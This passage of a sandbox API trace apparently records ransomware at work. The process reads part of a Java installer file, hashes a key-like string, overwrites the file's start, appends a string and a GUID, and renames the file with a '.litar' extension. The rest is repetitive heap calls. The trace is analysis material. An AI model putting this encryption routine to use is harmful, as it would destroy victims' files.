(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.853] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=906752) returned 1 [0127.853] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.855] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xdd5da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.855] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.856] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.856] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x25805, lpOverlapped=0x0) returned 1 [0127.858] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.858] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.858] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.858] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.858] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0127.859] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.859] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.859] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.859] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.859] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.859] GetLastError () returned 0x0 [0127.859] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.859] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0127.859] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.859] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25810) returned 0x30fa0b0 [0127.860] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.860] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x25800, lpOverlapped=0x0) returned 1 [0127.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.861] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xdd600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.861] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.861] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.861] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.861] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.861] CloseHandle (hObject=0x624) returned 1 [0127.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e388 [0127.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0127.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e388 | out: hHeap=0x5c0000) returned 1 [0127.873] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi.litar")) returned 1 [0127.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.874] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0127.875] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 0 [0127.875] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075238 | out: hHeap=0x5c0000) returned 1 [0127.875] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e388 [0127.875] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.880] 